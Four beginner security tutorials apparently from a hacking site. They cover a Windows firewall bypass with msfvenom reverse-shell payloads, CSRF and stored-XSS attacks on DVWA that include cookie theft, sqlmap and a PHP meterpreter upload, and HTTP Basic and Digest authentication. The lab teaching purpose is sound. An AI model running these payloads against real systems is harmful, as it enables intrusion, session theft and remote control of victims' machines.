How to set and Bypass Outbound Rule in Windows Firewall using Metasploit

In previous the firewall penetration testing article you might have read how firewall is used for blocking any particular port in a network to prevent hackers or malicious software from gaining access to your PC. This article is written to describe that how an attacker can bypass firewall rules and try to make unauthorized access of victim’s PC.

Target: windows PC

Attacker: Kali Linux

Lets start!!!

Open window firewall control panel and select Advance setting to configure firewall rules as shown in screenshot.

Go to outbound rules to configure new rule for firewall to add security layer in network to secure it form attackers.

Select the type of firewall rule to be created click radio button for option Port that controls connections for a TCP and UDP port then click on next.

Now specify the protocol and port to which rule is applies therefore I choose TCP and then specify port 4444 on which this rule will applies and then click on next.

 Select radio button for block the connection when connection matches to the condition specified condition.

Select all check boxes when this rule applies.

Here give the name to your own specified rule.  You can see in the screenshot I had named it block port 4444 and then click on finished.

Here you can see the new outbound rule is added into the list of outbound rules. Hence victim has defense himself from establishing connection with port 4444, now if attacker try to connect with victim through port 4444 then it might be possible that attacker doesn’t receive any reverse connection.

Now let’s examine when an attacker tries to send malicious file using port 4444, will it work or not. Does attacker able to receive reverse connection of victim’s pc?

Here I have generated a malicious file using msfvenom in the format of .exe file and then send this 4444.exe file to victim and start multi handler at background.

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f exe > /root/Desktop/4444.exe

Now let’s find whether we will succeed or get failed to achieve reverse connection of victims PC.

use multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

msf exploit(handler) > set lhost 192.168.1.102

msf exploit(handler) > set lport 4444

msf exploit(handler) > exploit

OOPS!!!  No response

It means we get failed in establishing connection between victim and attacker. Now as we know victim has protected himself from connecting with port 4444.

Now whenever you face such type of restriction for establishing connection with victim then do not get disappoint think twice what is the aim of an attack? He only wants to trap victim and want to establish a connection.

Now send your malicious file on those ports which always left open for incoming and outgoing connection.  For example port 80, port 443, port 445 and etc.

When again an attacker tries to send malicious file using port 443. Does attacker able to receive reverse connection of victim’s pc?

msfvenom -p windows/meterpreter/reverse_https lhost=192.168.1.102 lport=443 -f exe > /root/Desktop/443.exe

 Start multi handler and send 443.exe to victim.

use multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_http

msf exploit(handler) > set lhost 192.168.1.102

msf exploit(handler) > set lport 443

msf exploit(handler) > exploit

GREAT!!!  Attack is successful

We successfully got meterpreter session of victim’s PC inside the metasploit framework.

CSRF Tutorial For Begineers in DVWA

in this article you will learn Cross-site request forgery attack. For CSRF tutorial I have targeted DVWA and try to bypass low security level.

Cross-site request forgery, also known as one-click attack or session riding and abbreviated as CSRF (sometimes pronounced sea-surf) or XSRF, is a type of malicious exploit of a website where unauthorized commands are transmitted from a user that the website trusts. Unlike cross-site scripting (XSS), which exploits the trust a user has for a particular site, CSRF exploits the trust that a site has in a user's browser.

An attacker may forge a request to log the victim into a target website using the attacker's credentials; this is known as login CSRF. Login CSRF makes various novel attacks possible; for instance, an attacker can later log into the site with his legitimate credentials and view private information.

Reference: en.wikipedia.org/wiki/Cross-site_request_forgery

Let’s start!!!

By default the credential set for DVWA is admin: password. As you can see I have used them for login in DVWA.

Now set security level at low and select the bug cross site request forgery as current vulnerability.  Here you see the text fields are given for changing the password of the database for user admin.

 Now open the view source page and copy the highlighted text. 

Then paste above copied HTML code inside a text file.  If you are aware of HTML coding then it will be very to understand the following syntax inside the notepad which will create a form to reset the password of a web page. Now save the file as csrf.html

Now when you will open the csrf.html file it will look like the given below image where it contains the text field for password and a submit button.

Now again open csrf.html with notepad to edit the value inside the text field given for new password and confirm password. In following screenshot you can see I have given value= “hacker” as new password and confirm password. Then again save it with csrf.html

Now when again you will open csrf.html file you will find that the blank text field are given for password is get filled.

Now when you will click on change button the password will reset for that web page. This is all about how html form will work and from given screenshot you can read the sent GET request for changing password through URL. 

 Since this tutorial is related to bypass low security in DVWA therefore we need to add target location inside the html form to make CSRF attack for changing the password for admin without his permission.

Now copy the URL as shown in the following image.

Again open csrf.html with notepad and replace # from above copied URL which will directly change the password of targeted location for user admin.

Here you can read the final syntax for html form to change the password for admin inside DVWA without his involvement.  Now send this crsf.html file to victim using social engineering or phishing technique to trap the victim for exploiting with CSRF attack.

                                                New password:

                                                

                                                Confirm new password:

                                                

                                               

                                                

When victim will open the csrf.html file and click on change button the password will get changed for admin inside DVWA.

From screenshot you can see without admin permission we have successfully changed his password.

Now let’s verify, as we know the previous credential was admin: password; here when I try to use them it shows the login failed.

Further when I try with admin: hacker as current credential, I login successfully inside DVWA. This was all about CSRF tutorial to bypass low security in DVWA.

Understanding HTTP Authentication Basic and Digest

HTTP authentication uses methodologies via which web servers and browsers securily exchanges the credentials like user names and passwords. Http authentication or we can also call it as Digest Authentication follows the predefined methods / standards which use encoding techniques and MD5 cryptographic hashing over HTTP protocol.

In this article we are covering the methodologies/standards used for Http Authentication.

For the sake of understanding we will be using our php scripts that will simply capture user name and passwords and we will generate the Authorization value as per the standards.

For http codes visit here

Basic Access Authentication using Base 64 Encoding

In basic Authentication we will be using base 64 encoding for generating our cryptographic string which contains the information of username and password. Please note we can use any of the encoding techniques like URL, Hexadecimal, or any other we want.

The below example illustrates the concept, we are using Burpsuite for capturing and illustrating the request.

The webpage is asking for input from the client

We are providing "hackingarticles" as User Name and "ignite" as password.

Syntax of basic Authentication

 Value = username:password

Encoded Value =  base64(Value)

Authorization Value = Basic  

In basic authentication username and password are combined into a single string using a colon in between.

Value =  hackingarticles:ignite

This string is then encoded using base 64 encoding.

Encoded Value = base64 encoded value of hackingarticles:ignite which is aGFja2luZ2FydGljbGVzOmlnbml0ZQ==

Finally the Authorization Value is obtained by putting the text "Basic" followed by before the encoded value. (We can capture the request using burpsuite to see the result)

The Authorization Value for this example is "Basic aGFja2luZ2FydGljbGVzOmlnbml0ZQ==" . This is the value which is sent to the server.  

Finally the server is decrypting the authorization value and returning the entered credentials

Basic Authentication is less secure way because here we are only using encoding and the authorization value can be decoded, In order to enhance the security we have other standards discussed further.

RFC 2069 Digest Access Authentication

Digest Access Authentication uses the hashing methodologies to generate the cryptographic result. Here the final value is sent as a response value.

RFC 2069 authentication is now outdated now and RFC2617 which is enhanced version of RFC2069 is being used. 

For the sake of understanding the syntax of RFC 2069 is explained below.

Syntax of RFC2069

Hash1=MD5(username:realm:password)

Hash2=MD5(method:digestURI)

response=MD5(Hash1:nonce:Hash2)

Hash1 contains the MD5 hash value of (username:realm:password) where realm is any string

provided by server and username and passwords are the input provided by client.

Hash2 contains the MD5 hash value of (method:digestURI) where method could be get or post depending on the page request and digestURI is the URL of the page where the request is being sent. 

response is the final string which is being sent to the server  and contains the MD5 hash value of (hash1:nounce:hash2) where hash1 and hash2 are generated above and nonce is an arbitrary string that could be used only one time provided by server to the client.

RFC 2617 Digest Access Authentication

RFC 2617 digest authentication also uses MD5 hashing algorithm but the final hash value is generated with some additional parameters

Syntax of RFC2617

Hash1=MD5(username:realm:password)

Hash2=MD5(method:digestURI)

response=MD5(Hash1:nonce:nonceCount:cnonce:qop:Hash2)

Hash1 contains the MD5 hash value of (username:realm:password) where realm is any string

Provided by server and username and passwords are the input provided by client.

Hash2 contains the MD5 hash value of (method:digestURI) where method could be get or post depending on the page request and digestURI is the URL of the page where the request is being sent. 

response is the final string which is being sent to the server  and contains the MD5 hash value of (Hash1:nonce:nonceCount:cnonce:qop:Hash2) where Hash1 and Hash2 are generated above

and for more details on other parameters refer " https://technet.microsoft.com/en-us/library/cc780170(v=ws.10).aspx"

The actual working of RFC2617 is described below

The webpage is asking for input from the client

We are providing "guest" as User Name and "guest" as password.

Through burpsuite we are capturing the request so that all the parameters could be captured and we can compare the hash values captured with the hash values that we will generate through any other tool (hash calculator in this case).

We have captured the values for the following parameters

realm="Hacking Articles", nonce="58bac26865505", uri="/auth/02-2617.php", opaque="8d8909139750c6bd277cfe1388314f48", qop=auth, nc=00000001, cnonce="72ae56dde9406045" , response="ac8e3ecd76d33dd482783b8a8b67d8c1",

Hash1 Syntax=MD5(username:realm:password)

hash1 =  md5(guest:Hacking Articles:guest)

The MD5 hash value is calculated as 2c6165332ebd26709360786bafd2cd49

Hash2 Syntax =MD5(method:digestURI)

 Hash2=MD5(GET:/auth/02-2617.php)

MD5 hash value is calculated as b6a6df472ee01a9dbccba5f5e6271ca8

response Syntax =  MD5(Hash1:nonce:nonceCount:cnonce:qop:Hash2)

response = MD5(2c6165332ebd26709360786bafd2cd49:58bac26865505:00000001:72ae56dde9406045:auth:b6a6df472ee01a9dbccba5f5e6271ca8)

MD5 hash is calculated as  ac8e3ecd76d33dd482783b8a8b67d8c1

Finally the response value obtained through hash calculator is exactly same as that we have captured with burp suit above. 

Finally the server is decrypting the response value and the following is the result

Stored XSS Exploitation in DVWA (Beginner Guide)

This article is written to bring awareness among all security researchers and developers so that they may be able to learn the level of damage cause by XSS attack if the web server is suffering from cross site scripting vulnerability.

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into trusted web sites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. 

Stored XSS (Persistent or Type I)

Stored XSS generally occurs when user input is stored on the target server, such as in a database, in a message forum, visitor log, comment field, etc. And then a victim is able to retrieve the stored data from the web application without that data being made safe to render in the browser. With the advent of HTML5, and other browser technologies, we can envision the attack payload being permanently stored in the victim’s browser, such as an HTML5 database, and never being sent to the server at all.

Refernce: owasp.org

Lets start!!!

Attacker: Kali Linux

Target: DVWA

For this tutorial I had targeted DVWA and explore localhost IP in browser; now login with admin: password and select the stored cross site scripting vulnerbility from given list of vulnerbility.

Now have a look over a small script which would generate an alert window. So in the text area given for message I will inject the script which get store in the server.

Now when user will visit this page to read our message his browser will execute our script which generates an alert prompt as showing following screenshot.

This was a small demo to show how to inject any script if server is suffering from XSS and further you will learn what else an attacker can do to cause damage inside a web application server.

If attack is aware that the web server is having XSS then he might think to steal the web cookies which contain session Id therefore he will generate a script to fetch running cookies.

In following screenshot you can see I have injected the script to get web page cookies.

Here in given below image when I have executed the script I have successfully fetched the browser cookies and now further I will use this cookies for retrieving the data of web application server. 

SQL INJECTION WITH XSS

It might be possible that the web application server has more than one vulnerabilities, let assume if it is also having SQL injection vulnerability then it become very easy for attacker to retrieve the data from its database using stolen cookies.

For example in DVWA I switch from XSS to SQL injection; now copy its URL with user ID=1.

From above we have browser cookie and target URL for making SQL injection attack. Now open the terminal in your kali Linux and use above cookie and URL inside the command of sqlmap as shown in screenshot

Sqlmap – u “http://192.168.1.8/dvwa/vulnerbilities/sqli/?id=1&submit=submit” –cookie=“security=low; PHPSESSID=r12pk67cuq3s7eo4iktb88sud2” –dbs --batch

Hence you can see it has fetched all present database names inside database system.

Gaining Shell Access with XSS

Now let assume if server is suffering from XSS as well as file uploading both vulnerabilities; in this case how an attacker would be able to cause harm to the web application server.

Firstly let’s prepare our malicious PHP file for uploading in web server. As we always use msfvenom for this purpose and then save the generated PHP codes in a text file as shell.php

Msfvenom –p php/meterpreter/reverse_tcp lhost=192.168.1.11 lport=4444 –f raw

Again I switched to file uploading vulnerability in DVWA to upload shell.php and from screenshot you can see our shell.php file is successfully uploaded now copy the highlighted path.

Start multi handler inside the metasploit framework.

Here the text area given for message length is not sufficient to inject our next script therefore make right click on window and select inspect element to view it’s given message length for text area.

Here you can see message length for text area is decided as “50”.

Change message length from “50 to 500” so that it becomes easy to inject our next script.

Now in following screenshot you can see I have injected the path of uploaded file in script which will get saved in the server. When user click on it to read the message he will execute our shell.php file which provide reverse connection on attacker machine.

Here you can see as soon as script will execute it has shown meterpreter session for victim’s PC.

Meterpreter>sysinfo